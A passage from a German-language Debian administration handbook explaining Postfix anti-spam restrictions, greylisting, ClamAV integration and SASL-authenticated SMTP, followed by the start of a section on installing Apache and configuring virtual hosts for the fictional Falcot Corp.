Die Verwendung von permit_mynetworks als erster Regel hat eine interessante Nebenwirkung: die folgenden Regeln gelten nur für Rechner außerhalb des lokalen Netzwerks. Hierdurch ist es möglich, alle Rechner, die sich als Teil von falcot.com bezeichnen, auf die schwarze Liste zu setzen, indem zum Beispiel die Zeile falcot.com ABGELEHNT Sie sind nicht in unserem Netzwerk! zur Datei /etc/postfix/access_helo hinzugefügt wird.

11.1.3.3. Annahme oder Ablehnung aufgrund des angegebenen Absenders

Jede Nachricht hat einen Absender, der durch den Befehl MAIL FROM des SMTP-Protokolls angegeben wird; auch diese Information kann auf verschiedene Weise überprüft werden.

Beispiel 11.8. Überprüfung des Absenders

smtpd_sender_restrictions =
check_sender_access hash:/etc/postfix/access_sender,
reject_unknown_sender_domain, reject_unlisted_sender,
reject_non_fqdn_sender

Die Tabelle /etc/postfix/access_sender ordnet einigen Absendern eine besondere Behandlung zu. Dies bedeutet für gewöhnlich, dass einige Absender in eine Positivliste oder eine schwarze Liste aufgenommen werden.

Die Regel reject_unknown_sender_domain verlangt eine gültige Absenderdomain, da sie für eine gültige Adresse benötigt wird. Die Regel reject_unlisted_sender weist lokale Absender zurück, falls die Adresse nicht existiert; hierdurch wird vermieden, dass E-Mails von einer ungültigen Adresse in der falcot.com-Domain verschickt werden, und Nachrichten, die von joe.bloggs@falcot.com ausgehen, werden nur akzeptiert, wenn eine solche Adresse tatsächlich existiert.

Schließlich weist die Regel reject_non_fqdn_sender E-Mails zurück, die vorgeben, von Adressen ohne einen vollständig ausgewiesenen Domain-Namen zu kommen. In der Praxis bedeutet dies, dass E-Mails, die von benutzer@rechner kommen, zurückgewiesen werden: die Adresse muss entweder als benutzer@rechner.beispiel.com oder benutzer@beispiel.com angegeben werden.

11.1.3.4. Annehmen oder zurückweisen aufgrund des Empfängers

Jede E-Mail hat wenigstens einen Empfänger, der im SMTP-Protokoll mit dem Befehl RCPT TO angegeben wird. Diese Adressen erfordern ebenfalls eine Gültigkeitsprüfung, selbst wenn dies weniger wichtig sein sollte als die Überprüfung des Absenders.

Beispiel 11.9. Überprüfung des Empfängers

smtpd_recipient_restrictions = permit_mynetworks,
reject_unauth_destination, reject_unlisted_recipient,
reject_non_fqdn_recipient

Die grundlegende Regel lautet reject_unauth_destination, und sie verlangt, dass externe Nachrichten an uns adressiert sein müssen; Nachrichten an eine Adresse, die von diesem Server nicht bedient wird, werden zurückgewiesen. Ohne diese Regel wird ein Server zu einem offenen Übermittler, der es Spammern erlaubt, unerwünschte E-Mails zu verschicken; diese Regel ist daher obligatorisch, und sie wird am besten ziemlich am Anfang der Liste platziert, damit nicht andere Regeln die Nachricht zulassen, bevor ihre Zieladresse überprüft worden ist.

Die Regel reject_unlisted_recipient weist Nachrichten zurück, die an nicht existierende lokale Benutzer geschickt werden, was natürlich Sinn macht. Schließlich weist die Regel reject_non_fqdn_recipient nicht vollständig ausgewiesene Adressen zurück; dies macht es unmöglich, eine E-Mail an jean oder jean@rechner zu schicken, und erfordert stattdessen, die vollständige Adresse zu verwenden, wie jean@rechner.falcot.com or jean@falcot.com.

11.1.3.5. Beschränkungen in Verbindung mit dem Befehl DATA

SMTPs Befehl DATA wird vor dem Inhalt der Nachricht verschickt. An sich stellt er keine Information bereit, außer anzukündigen, was als nächstes kommt.Dennoch kann er Überprüfungen unterworfen werden.

Beispiel 11.10. Überprüfungen von DATA

smtpd_data_restrictions = reject_unauth_pipelining

Die Anweisung reject_unauth_pipelining bewirkt, dass die Nachricht zurückgewiesen wird, falls die aussendende Partei einen Befehl verschickt, bevor die Antwort auf den vorhergehenden Befehl gesendet worden ist. Dies schützt vor einer häufig von Spam-Robotern benutzten Optimierung, da sie sich gewöhnlich keinen Deut um Antworten scheren und sich nur darauf konzentrieren, in möglichst kurzer Zeit möglichst viele E-Mails zu verschicken.

11.1.3.6. Beschränkungen anwenden

Obwohl die oben stehenden Befehle Informationen in verschiedenen Phasen des SMTP-Austauschs überprüfen, verschickt Postfix die eigentliche Zurückweisung nur als Antwort auf den Befehl RCPT TO.

Dies bedeutet, dass selbst wenn die Nachricht aufgrund eines ungültigen EHLO-Befehls zurückgewiesen wird, Postfix den Absender und den Empfänger kennt, wenn es die Zurückweisung bekanntgibt. Es kann dann eine eindeutigere Nachricht protokollieren, als möglich gewesen wäre, falls die Übertragung gleich zu Anfang abgebrochen worden wäre. Außerdem erwarten manche SMTP-Clients keine Störungen bei den frühen SMTP-Befehlen, und diese Clients werden durch die späte Zurückweisung weniger gestört.

Ein letzter Vorteil dieser Vorgehensweise ist, dass die Regeln im Verlauf der verschiedenen SMTP-Stadien Informationen sammeln können; dies ermöglicht es, feinkörnigere Berechtigungen zu formulieren, wie zum Beispiel eine nicht-lokale Verbindung zurückzuweisen, wenn sie sich als lokaler Absender ausgibt.

11.1.3.7. Filtern aufgrund des Nachrichteninhalts

Das Überprüfungs- und Beschränkungssystem wäre nicht vollständig ohne eine Möglichkeit, Überprüfungen des Nachrichteninhalts durchzuführen. Postfix unterscheidet die Überprüfungen, die es auf die E-Mail-Kopfzeilen anwendet, von denen, die es für den E-Mail-Inhalt benutzt.

Beispiel 11.11. Inhaltsbezogene Filter aktivieren

header_checks = regexp:/etc/postfix/header_checks
body_checks = regexp:/etc/postfix/body_checks

Beide Dateien enthalten eine Liste regulärer Ausdrücke (gewöhnlich als regexps oder regexes bezeichnet) und damit zusammenhängender Aktionen, die ausgelöst werden, wenn die E-Mail-Kopfzeilen (oder der Inhalt) einem Ausdruck entsprechen.

KURZER BLICK Regexp-Tabellen

Die Datei /usr/share/doc/postfix-doc/examples/header_checks.gz enthält zahlreiche erläuternde Kommentare und kann als Grundlage für die Erstellung der Dateien /etc/postfix/header_checks und /etc/postfix/body_checks verwendet werden.

Beispiel 11.12. Beispiel einer Datei /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)
/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

ZURÜCK ZU DEN GRUNDLAGEN Regulärer Ausdruck

Der Begriff regulärer Ausdruck (abgekürzt regexp oder regex) bezieht sich auf eine allgemeine Bezeichnung zur Beschreibung des Inhalts oder der Struktur einer Zeichenkette. Bestimmte Sonderzeichen ermöglichen die Festlegung von Alternativen (so trifft zum Beispiel foo|bar entweder für „foo“ oder für „bar“ zu), von Reihen zugelassener Zeichen (zum Beispiel bedeutet [0-9] eine beliebige Ziffer und . - ein Punkt - ein beliebiger Buchstabe) und von Quantifizierungen (s? trifft entweder auf s oder die Nullkette zu, mit anderen Worten das Ereignis 0 oder 1 von s; s+ trifft auf ein oder mehrere aufeinander folgende s-Zeichen zu und so weiter). Klammern ermöglichen das Gruppieren von Suchergebnissen.

Die genaue Syntax dieser Ausdrücke unterscheidet sich zwischen den Programmen, die sie verwenden, aber die grundlegenden Merkmale sind ähnlich.

→ https://de.wikipedia.org/wiki/Regulärer_Ausdruck

Der erste überprüft die Kopfzeile, die die E-Mail-Software nennt; falls GOTO Sarbacane gefunden wird (ein Programm zum Versenden von Massen-E-Mails), wird die Nachricht zurückgewiesen. Der zweite Ausdruck überprüft den Nachrichtenbetreff; falls er eine Virenmeldung nennt, können wir entscheiden, die Nachricht nicht zurückzuweisen, sondern stattdessen sofort zu löschen.

Die Verwendung dieser Filter ist ein zweischneidiges Schwert, da die Regeln leicht zu allgemein formuliert werden können und als Folge seriöse E-Mails verloren gehen. In diesen Fällen sind nicht nur die Nachrichten verloren, sondern ihre Absender erhalten zudem unerwünschte (und störende) Fehlermeldungen.

11.1.4. Greylisting einrichten

„Greylisting“ ist eine Filtertechnik, der zufolge eine Nachricht zunächst mit einem vorläufigen Fehlercode zurückgewiesen und erst bei einem weiteren Versuch nach einer gewissen Verzögerung angenommen wird. Dieses Filtern ist vor allem gegen Spam wirkungsvoll, der von den vielen mit Würmern und Viren infizierten Rechnern verschickt wird, da dieses Programm nur selten als vollständiger SMTP-Agent agiert (mit Überprüfung des Fehlercodes und einem späteren erneuten Zustellversuch für gescheiterte Nachrichten), vor allem weil viele der gesammelten Adressen in Wirklichkeit ungültig sind und ein erneuter Versuch nur Zeitverschwendung wäre.

Postfix stellt Greylisting nicht von Haus aus zur Verfügung, jedoch gibt es eine Funktion, mit der die Entscheidung, eine bestimmte Nachricht anzunehmen oder zurückzuweisen, an ein externes Programme delegiert werden kann. Das Paket postgrey enthält genau solch ein Programm, das dafür ausgelegt ist, sich in diesen Dienst zur Delegierung der Zugangsrichtlinien einzubinden.

Sobald postgrey installiert ist, läuft es als Daemon und nimmt an Port 10023 Verbindungen an. Postfix kann dann auf seine Verwendung eingestellt werden, indem der Parameter check_policy_service als zusätzliche Bedingung hinzugefügt wird:

smtpd_recipient_restrictions = permit_mynetworks,
[...]
check_policy_service inet:127.0.0.1:10023

Jedes Mal, wenn Postfix diese Regel in seinem Regelsatz erreicht, verbindet es sich mit dem postgrey-Daemon und schickt ihm Informationen über die entsprechende Nachricht. Wenn Postgrey überprüft seinerseits die Dreiergruppe aus IP-Adresse, Absender und Empfänger und sieht in seiner Datenbank nach, ob dieselbe Dreiergruppe vor kurzem bereits aufgetreten ist. n dies der Fall ist, antwortet Postgrey, dass die Nachricht angenommen werden sollte; anderenfalls zeigt die Antwort an, dass die Nachricht vorübergehend zurückgewiesen werden soll, und die Dreiergruppe wird in die Datenbank eingetragen.

Der Hauptnachteil des Greylistings besteht darin, dass seriöse Nachrichten verzögert werden, was nicht immer akzeptabel ist. Es erhöht außerdem die Belastung von Servern, die zahlreiche seriöse E-Mails versenden.

IN DER PRAXIS Unzulänglichkeiten des Greylistings

Theoretisch sollte Greylisting nur die erste Nachricht eines bestimmten Absenders an einen bestimmten Empfänger verzögern, und die typische Verzögerungsdauer liegt dabei im Bereich von Minuten. Die Wirklichkeit kann jedoch etwas anders aussehen. Einige große Internetdienstanbieter verwenden Gruppen von SMTP-Servern, und wenn eine Nachricht zunächst zurückgewiesen wird, kann es sein, dass der Server, der die Übertragung erneut versucht, nicht derselbe wie der ursprüngliche ist. In diesem Fall erhält der zweite Server aufgrund des Greylistings ebenfalls eine vorläufige Fehlermeldung und so weiter; so kann es mehrere Stunden dauern, bevor die Übertragung wieder von einem Server versucht wird, der schon einmal beteiligt war, da SMTP-Server normalerweise nach jedem Fehlschlag die Verzögerungszeit bis zu einem erneuten Versuch erhöhen.

Folglich kann sich die ankommende IP-Adresse selbst für denselben Absender im Zeitverlauf ändern. Das ist jedoch nicht alles: selbst die Absenderadresse kann wechseln. Zum Beispiel kodieren viele Mailinglisten-Server zusätzliche Informationen in die Absenderadresse, um bestimmte Fehlermeldungen (bounces genannt) verarbeiten zu können. Jede an eine Mailingliste verschickte Nachricht wird dann möglicherweise durch das Greylisting gehen müssen mit der Folge, dass sie (vorübergehend) auf dem Server des Absenders gespeichert werden muss. Bei sehr großen Mailinglisten (mit zehntausenden von Abonnenten) kann dies sehr schnell zu Problemen führen.

Um diesen Nachteilen entgegen zu wirken, verwaltet Postgrey eine Positivliste solcher Stellen, und von ihnen ausgehende Nachrichten werden direkt ohne den Umweg über das Greylisting angenommen. Diese Liste kann leicht an die örtlichen Bedürfnisse angepasst werden, da sie in der Datei /etc/postgrey/whitelist_clients gespeichert ist.

WEITERE SCHRITTE Selektives Greylisting mit milter-greylist

Den Nachteilen des Greylistings kann dadurch begegnet werden, dass es nur auf die Untergruppe von Clients angewendet wird, die bereits als mögliche Spamquellen angesehen werden (da sie in einer schwarzen Liste des DNS aufgeführt sind). Dies ist mit postgrey nicht möglich, wohl aber mit milter-greylist.

Da DNS-Blacklisten nicht zu einer endgültigen Ablehnung führen, ist es in diesem Szenario vernünftig, aggressive schwarze Listen einzusetzten, einschließlich derer, die alle dynamischen IP-Adressen von Internetdienstanbietern auflisten (wie zum Beispiel pbl.spamhaus.org oder dul.dnsbl.sorbs.net).

Da die Milter-greylist die Milter-Schnittstelle von Sendmail benutzt, ist die Postfix-Seite der Konfiguration beschränkt auf “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. Die Handbuchseite greylist.conf(5) dokumentiert /etc/milter-greylist/greylist.conf und die vielfältigen Möglichkeiten die Milter-greylist zu konfigurieren. Sie werden auch /etc/default/milter-greylist bearbeiten müssen um den Dienst wirklich freizugeben.

11.1.5. Filter anhand des Empfängers einstellen

In den Abschnitten Abschnitt 11.1.3, „Einschränkungen beim Empfangen und Senden“ und Abschnitt 11.1.4, „Greylisting einrichten“sind zahlreiche Beschränkungsmöglichkeiten betrachtet worden. Sie alle haben ihren Nutzen bei der Begrenzung der eingehenden Spam-Menge, aber sie haben auch ihre Nachteile. Es wird daher immer üblicher, den Filtersatz anhand des Empfängers einzustellen. Bei Falcot Corp. ist das Greylisting für die meisten Benutzer interessant, es behindert jedoch die Arbeit einiger Benutzer, die bei ihren E-Mails kurze Wartezeiten benötigen (wie zum Beispiel der technische Betreuungsdienst). In ähnlicher Weise hat die Handelsabteilung manchmal Probleme beim Empfang von E-Mails einiger asiatischer Anbieter, die vielleicht in schwarzen Listen aufgeführt sind; diese Abteilung hat um eine ungefilterte Adresse gebeten, so dass sie mit ihnen korrespondieren kann.

Postfix bietet eine derartige Filteranpassung mit dem Konzept einer „restriction class“ an. Diese Klassen werden in dem Parameter smtpd_restriction_classes angegeben und in der gleichen Weise wie smtpd_recipient_restrictions festgelegt. Die Anweisung check_recipient_access bezeichnet dann eine Tabelle, die einem bestimmten Empfänger den richtigen Satz von Beschränkungen zuordnet.

Beispiel 11.13. Beschränkungsklassen in main.cf festlegen

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023
aggressive = reject_rbl_client sbl-xbl.spamhaus.org,
check_policy_service inet:127.0.0.1:10023
permissive = permit

smtpd_recipient_restrictions = permit_mynetworks,
reject_unauth_destination,
check_recipient_access hash:/etc/postfix/recipient_access

Beispiel 11.14. Die Datei /etc/postfix/recipient_access

# Unfiltered addresses
postmaster@falcot.com  permissive
support@falcot.com     permissive
sales-asia@falcot.com  permissive

# Aggressive filtering for some privileged users
joe@falcot.com         aggressive

# Special rule for the mailing-list manager
sympa@falcot.com       reject_unverified_sender

# Greylisting by default
falcot.com             greylisting

11.1.6. Einen Virenschutz integrieren

Die zahlreichen als E-Mail-Anhänge umlaufenden Viren erfordern das Einrichten eines Virenschutzes am Eingang des Firmennetzwerks, da einige Benutzer trotz einer Aufklärungskampagne weiterhin Anhänge von offensichtlich fragwürdigen Nachrichten öffnen.

Die Falcot Administratoren haben clamav als ihren kostenlosen Virenschutz ausgewählt. Das Hauptpaket ist clamav, aber sie haben auch einige Zusatzpakete wie arj, unzoo, unrar und lha installiert, da diese benötigt werden, damit der Virenschutz Anhänge analysieren kann, die in einem dieser Formate komprimiert sind.

Die Aufgabe, die Verbindung zwischen dem Virenschutz und dem E-Mail-Server bereitzustellen, fällt dem Programm clamav-milter zu. Ein Milter (kurz für Mailfilter) ist ein speziell für die Verbindung mit E-Mail-Servern ausgelegtes Programm. Ein Milter verwendet eine standardmäßige Programmierschnittstelle (API = application programming interface), die eine deutlich bessere Leistung aufweist als Filter außerhalb der E-Mail-Server. Milter wurden ursprünglich von Sendmail eingeführt, aber Postfix ist dem bald gefolgt.

KURZER BLICK Ein Milter für Spamassassin

Das Paket spamass-milter stellt einen Milter zur Verfügung, der auf SpamAssassin beruht, dem bekannten Suchprogramm für unerwünschte E-Mails. Er kann dazu benutzt werden, Nachrichten als möglichen Spam zu markieren (indem er eine zusätzliche Kopfzeile hinzufügt) oder die Nachrichten vollständig zurückzuweisen, falls ihr Spam-Grad einen bestimmten Schwellenwert übersteigt.

Nachdem das Paket clamav-milter installiert ist, sollte milter umkonfiguriert werden um auf einen TCP-Port statt auf den Named Socket aufzusetzen. Das geht mit dpkg-reconfigure clamav-milter. Wenn die Frage nach dem "Communication interface with Sendmail" gestellt wird geben Sie “inet:10002@127.0.0.1” ein.

ANMERKUNG Wirklicher TCP Port vs Named Socket

Der Grund, warum wir einen wirklichen TCP Port verwenden statt eines Named Socket liegt darin, dass die Postfix-Hintergrundprozesse oft mit chroot gestartet werden und keinen Zugriff auf die Verzeichnisse mit den Named Sockets haben. Sie können ebenso entscheiden, einen Named Socket zu verwenden und dafür einen Ort unterhalb des mit chroot gesetzten Wurzelverzeichnisses wählen (/var/spool/postfix/).

Die standardmäßige ClamAV-Konfiguration eignet sich für die meisten Situationen, aber einige wichtige Parameter können noch mit dpkg-reconfigure clamav-base angepasst werden.

Im letzten Schritt wird Postfix angewiesen, den neu konfigurierten Filter zu verwenden. Dies geschieht einfach durch das Hinzufügen der folgenden Anweisung zu /etc/postfix/main.cf:

# Virus check with clamav-milter
smtpd_milters = inet:[127.0.0.1]:10002

Falls der Virenschutz Probleme verursacht, kann diese Zeile kommentiert und dann service postfix reload aufgerufen werden, damit diese Veränderung berücksichtigt wird.

IN DER PRAXIS Den Virenschutz überprüfen

Sobald der Virenschutz eingerichtet ist, sollte er einem Test unterworfen werden. Dies geschieht am einfachsten dadurch, dass man eine Test-E-Mail mit einem Anhang verschickt, der die Datei eicar.com (oder eicar.com.zip) enthält, die aus dem Internet heruntergeladen werden kann:

→ http://www.eicar.org/86-0-Intended-use.html

Diese Datei ist kein wirkliches Virus, sondern eine Testdatei, die alle auf dem Markt befindlichen Virenschutzprogramme als Virus diagnostizieren, um so die Überprüfung von Installationen zu ermöglichen.

Alle Nachrichten, die von Postfix verarbeitet werden, laufen jetzt durch den Virenschutzfilter.

11.1.7. Authentifiziertes SMTP

Um E-Mails verschicken zu können, ist es erforderlich, dass ein SMTP-Server erreichbar ist; besagter SMTP-Server muss außerdem E-Mails durchleiten. Für Benutzer, die auf Reisen sind, würde dies bedeuten, dass die Konfiguration des SMTP-Clients regelmäßig geändert werden muss, da Falcots SMTP-Server Nachrichten abweist, die von IP-Adressen kommen, die offensichtlich nicht zum Unternehmen gehören. Es gibt zwei Lösungen: Entweder installiert ein Benutzer auf Reisen einen SMTP-Server auf seinem Rechner, oder er benutzt weiterhin den Unternehmensserver unter Verwendung einiger Hilfsmittel, mit denen er sich als Angestellter authentifiziert. Die erste Lösung wird nicht empfohlen, da der Rechner nicht ununterbrochen verbunden wäre und im Falle von Problemen nicht wiederholt versuchen könnte, Nachrichten zu senden; wir werden uns daher auf die zweite Lösung konzentrieren.

SMTP-Authentifizierung in Postfix ist auf SASL angewiesen (Simple Authentication and Security Layer). Hierzu ist es erforderlich, die Pakete libsasl2-modules und sasl2-bin zu installieren und dann für jeden Benutzer, der eine Authentifizierung beim SMTP-Server benötigt, ein Passwort in die SASL-Datenbank einzutragen. Dies geschieht mithilfe des Befehls saslpasswd2, der verschiedene Parameter akzeptiert. Die Option -u legt die Authentifizierungs-Domain fest, die mit dem Parameter smtpd_sasl_local_domain in der Postfix-Konfiguration übereinstimmen muss. Die Option -c ermöglicht das Anlegen eines Benutzers und -f gestattet es, die Datei zu bestimmen, die benutzt werden soll, wenn die SASL-Datenbank an einem anderen als dem standardmäßig vorgegebenen Ort (/etc/sasldb2) gespeichert werden muss.

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean
[... geben Sie Jeans Passwort zweimal ein ...]

Beachten Sie, dass die SASL-Datenbank im Verzeichnis von Postfix erstellt worden ist. Um Konsistenz sicherzustellen, wandeln wir außerdem /etc/sasldb2 in einen symbolischen Verweis um, der auf die von Postfix verwendete Datenbank weist. Dies geschieht mit dem Befehl ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Nun müssen wir Postfix so einstellen, dass es SASL benutzt. Zunächst muss der Benutzer postfix zur Gruppe sasl hinzugefügt werden, damit er auf die Datenbank des SASL-Kontos zugreifen kann. Einige zusätzliche Parameter sind erforderlich, um SASL zu aktivieren, und der Parameter smtpd_recipient_restrictions muss so eingestellt werden, dass Benutzer, die für SASL authentifiziert sind, ungehindert E-Mails versenden können.

Beispiel 11.15. SASL in /etc/postfix/main.cf aktivieren

# Enable SASL authentication
smtpd_sasl_auth_enable = yes
# Define the SASL authentication domain to use
smtpd_sasl_local_domain = $myhostname
[...]
# Adding permit_sasl_authenticated before reject_unauth_destination
# allows relaying mail sent by SASL-authenticated users
smtpd_recipient_restrictions = permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination,
[...]

EXTRA Authentifizierter SMTP-Client

Die meisten E-Mail-Clients können sich bei einem SMTP-Server authentifizieren, bevor sie abgehende Nachrichten verschicken, und die Verwendung dieses Merkmals ist einfach eine Frage der passenden Parametereinstellung. Falls der verwendete Client diese Fähigkeit nicht besitzt, besteht eine Umgehungslösung darin, einen lokalen Postfix-Server zu verwenden und ihn für die Weiterleitung der E-Mails über den entfernten SMTP-Server einzustellen. In diesem Fall wird das lokale Postfix selbst der Client sein, der sich bei SASL authentifiziert. Hier sind die erforderlichen Parameter:

smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
relay_host = [mail.falcot.com]

Die Datei /etc/postfix/sasl_passwd muss den Benutzernamen und das Passwort zur Authentifizierung beim Server mail.falcot.com enthalten. Hier ist ein Beispiel:

[mail.falcot.com]   joe:LyinIsji

Wie bei allen Postfix-Zuordnungen muss diese Datei mit dem Befehl postmap in die Datei /etc/postfix/sasl_passwd.db umgewandelt werden.

11.2. Webserver (HTTP)

Die Falcot Corp. Administratoren haben sich entschlossen, den Apache HTTP-Server zu verwenden, der in der Version 2.4.10 in Debian Jessie enthalten ist.

ALTERNATIVE Andere Webserver

Apache ist lediglich der am besten bekannte (und meistbenutzte) Webserver, es gibt jedoch auch andere; sie können bei bestimmten Beanspruchungen bessere Leistungen bieten, dies hat jedoch eine Kehrseite in der geringeren Anzahl verfügbarer Leistungsmerkmale und Module. Wenn aber der zu verwendende Webserver zur Bereitstellung statischer Dateien eingesetzt werden oder als Proxy fungieren soll, sind Alternativen wie nginx und lighttpd eine nähere Betrachtung wert.

11.2.1. Apache installieren

Die Installation des Pakets apache2 genügt. Es enthält alle Module, einschließlich der Multi-Processing-Module (MPMs), die beeinflussen, wie der Apache mit der parallelen Verarbeitung vieler Anfragen umgeht (die früher in separaten apache2-mpm-*-Paketen bereitgestellt wurden). Auch wird es apache2-utils mit den Kommandozeilenprogrammen, die wir später behandeln werden, nachladen.

Das verwendete MPM beeinflusst wesentlich die Art und Weise, wie Apache gleichzeitige Anfragen behandelt. Mit dem worker MPM verwendet es Threads (leichte Prozesse), während es mit dem Prefork MPM einen Pool von im Voraus erstellten Prozessen verwendet. Mit dem Event MPM werden auch Threads verwendet, aber die inaktiven Verbindungen (insbesondere die, die durch das HTTP keep-alive Feature offen gehalten werden) werden an einen dedizierten Management Thread zurückgegeben.

Die Falcot-Administratoren installieren auch libapache2-mod-php5, um die PHP-Unterstützung in den Apache einzubeziehen. Dadurch wird die Standardeinstellung Event MPM deaktiviert, und Prefork wird stattdessen verwendet, da PHP nur unter diesem speziellen MPM funktioniert.

SICHERHEIT Ausführung unter dem Benutzer www-data

Standardmäßig verarbeitet Apache ankommende Anfragen unter der Identität des Benutzers www-data. Dies bedeutet, dass eine Sicherheitslücke in einem CGI-Skript, das von Apache (für eine dynamische Seite) ausgeführt wird, nicht das ganze System gefährden würde, sondern nur die Dateien im Besitz dieses speziellen Benutzers.

Der Einsatz der suexec-Module macht es möglich, diese Regel zu umgehen, so dass einige CGI-Skripte unter der Identität eines anderen Benutzers ausgeführt werden. Dies wird mit einer Anweisung der Art SuexecUserGroup benutzergruppe in der Apache-Konfiguration eingestellt.

Eine weitere Möglichkeit besteht darin, ein speziell hierfür vorgesehenes MPM zu benutzen, wie das von libapache2-mpm-itk bereitgestellte. Dieses Modul weist ein etwas abweichendes Verhalten auf: es ermöglicht das „Isolieren“ virtueller Hosts (eigentlich eine Anzahl Seiten), so dass jeder von ihnen als ein anderer Benutzer läuft. Eine Schwachstelle in einer Website kann somit keine Dateien gefährden, die dem Benutzer einer anderen Website gehören.

KURZER BLICK Liste der Module

Eine vollständige Liste der Apache-Standardmodule ist online zu finden.

→ http://httpd.apache.org/docs/2.4/mod/index.html

Apache ist ein modularer Server, und viele Leistungsmerkmale werden durch externe Module umgesetzt, die das Hauptprogramm während der Initialisierung lädt. Die Standardkonfiguration aktiviert nur die gebräuchlichsten Module, aber das Aktivieren neuer Module geschieht einfach mit dem Befehl a2enmod modul; der Befehl zum Abschalten eines Moduls lautet a2dismod modul. Diese Programme erstellen (oder löschen) in Wirklichkeit nur symbolische Verknüpfungen in der Datei /etc/apache2/mods-enabled/, die auf die tatsächlichen Dateien zeigen (die in /etc/apache2/mods-available/ gespeichert sind).

In seiner Standardkonfiguration nimmt der Webserver an Port 80 Verbindungen an (wie in /etc/apache2/ports.conf konfiguriert), und liefert Seiten aus dem Verzeichnis /var/www/html/ (wie in /etc/apache2/sites-enabled/000-default.conf konfiguriert).

WEITERE SCHRITTE SSL-Unterstützung hinzufügen

Apache 2.4 bringt von vornherein das für sicheres HTTP (HTTPS) erforderliche Modul mit. Man muss es nur durch den Befehl a2enmod ssl aktivieren und danach die erforderlichen Anweisungen zur Konfigurationsdatei hinzufügen. Ein Konfigurationsbeispiel wird in /etc/apache2/sites-available/default-ssl.conf bereitgestellt.

→ http://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Besondere Vorsicht ist angebracht, wenn Sie SSL-Verbindungen mit Perfect Forward Secrecy favorisieren (diese Verbindungen verwenden kurzlebige Sitzungsschlüssel die sicherstellen, dass durch das Knacken des geheimen Schlüssels des Servers nicht auch die Schlüssel vorangegangener verschlüsselter Verbindungen kompromittiert werden, die möglicherweise bei früheren Einbrüchen ins Netzwerk mitgeschnitten wurden). Zu Einzelheiten schauen Sie die Empfehlungen von Mozilla an:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

11.2.2. Virtuelle Hosts konfigurieren

Ein virtueller Host ist eine zusätzliche Identität des Web-Servers.

Apache berücksichtigt zwei verschiedene Arten virtueller Hosts: diejenigen, die auf der IP-Adresse (oder dem Port) basieren, und diejenigen, die sich auf den Domainnamen des Web-Servers stützen. Bei der ersten Methode muss jeder Seite eine andere IP-Adresse (oder ein anderer Port) zugeordnet werden, während die zweite mit einer einzigen IP-Adresse (und einem einzigen Port) auskommt und die Seiten durch den Hostnamen, der vom HTTP-Client gesendet wird, unterschieden werden (was nur in Version 1.1 des HTTP-Protokolls funktioniert - glücklicherweise ist diese Version schon so alt, dass alle Clients sie verwenden).

Die (zunehmende) Knappheit von IPv4-Adressen begünstigt gewöhnlich die zweite Methode; jedoch ist sie komplizierter, wenn der virtuelle Host auch HTTPS bereitstellen muss, da das SSL-Protokoll nicht von jeher virtuelles Hosting auf Namensbasis ermöglicht hat. Nicht alle Browser können mit der SNI-Erweiterung (Server Name Indication), die diese Kombination ermöglicht, umgehen. Wenn mehrere HTTPS-Seiten auf demselben Server laufen müssen, werden sie gewöhnlich dadurch unterschieden, dass sie auf verschiedenen Ports laufen oder unter verschiedenen IP-Adressen (IPv6 ist hier hilfreich).

Die Standardkonfiguration für Apache 2 aktiviert virtuelle Hosts auf Namensbasis. Zusätzlich wird ein voreingestellter virtueller Host in der Datei /etc/apache2/sites-enabled/000-default.conf ausgewiesen; dieser virtuelle Host wird verwendet, wenn es keinen anderen Host gibt, der zur Anfrage des Clients passt.

VORSICHT Erster virtueller Host

Anfragen an unbekannte virtuelle Hosts werden stets vom ersten ausgewiesenen virtuellen Host bedient, weshalb wir hier als erstes www.falcot.com bestimmt haben.

KURZER BLICK Apache unterstützt SNI

Der Apache-Server unterstützt eine SSL-Protokollerweiterung namens Server Name Indication (SNI). Diese Erweiterung ermöglicht es dem Browser, den Hostnamen während des Aufbaus der SSL-Verbindung zu senden, viel früher als die HTTP-Anfrage selbst, die vorher dazu benutzt wurde, den gewünschten virtuellen Host unter denen zu identifizieren, die auf demselben Server (mit derselben IP-Adresse und demselben Port) untergebracht sind.

Vor SNI hätte Apache stets das Zertifikat des voreingestellten virtuellen Hosts verwendet. Clients, die auf einen anderen virtuellen Host zugreifen wollten, würden dann Warnmeldungen anzeigen, da das erhaltene Zertifikat nicht zu der Website passte, auf die sie zugreifen wollten. Glücklicherweise arbeiten die meisten Browser inzwischen mit SNI; hierzu gehören Microsoft Internet Explorer ab Version 7.0 (ab Vista), Mozilla Firefox ab Version 2.0, Apple Safari ab Version 3.2.1 und alle Versionen von Google Chrome.

Das in Debian bereitgestellte Apache-Paket wird mit Unterstützung für SNI erstellt; daher ist keine besondere Konfiguration erforderlich.

Man sollte auch darauf achten, dass die Konfiguration des ersten virtuellen Hosts (des standardmäßig verwendeten) TLSv1 aktiviert, da Apache die Parameter dieses ersten virtuellen Hosts verwendet, um sichere Verbindungen aufzubauen, und dies muss ihm auf jeden Fall erlaubt sein!

Jeder zusätzliche virtuelle Host wird dann in einer unter /etc/apache2/sites-available/ gespeicherten Datei festgelegt. Die Einrichtung einer Website für die Domain falcot.org erfordert daher nur die Erstellung der folgenden Datei und anschließend die Aktivierung des virtuellen Hosts mit dem Befehl a2ensite www.falcot.org.

Beispiel 11.16. Die Datei /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80>
ServerName www.falcot.org
ServerAlias falcot.org
DocumentRoot /srv/www/www.falcot.org
</VirtualHost>

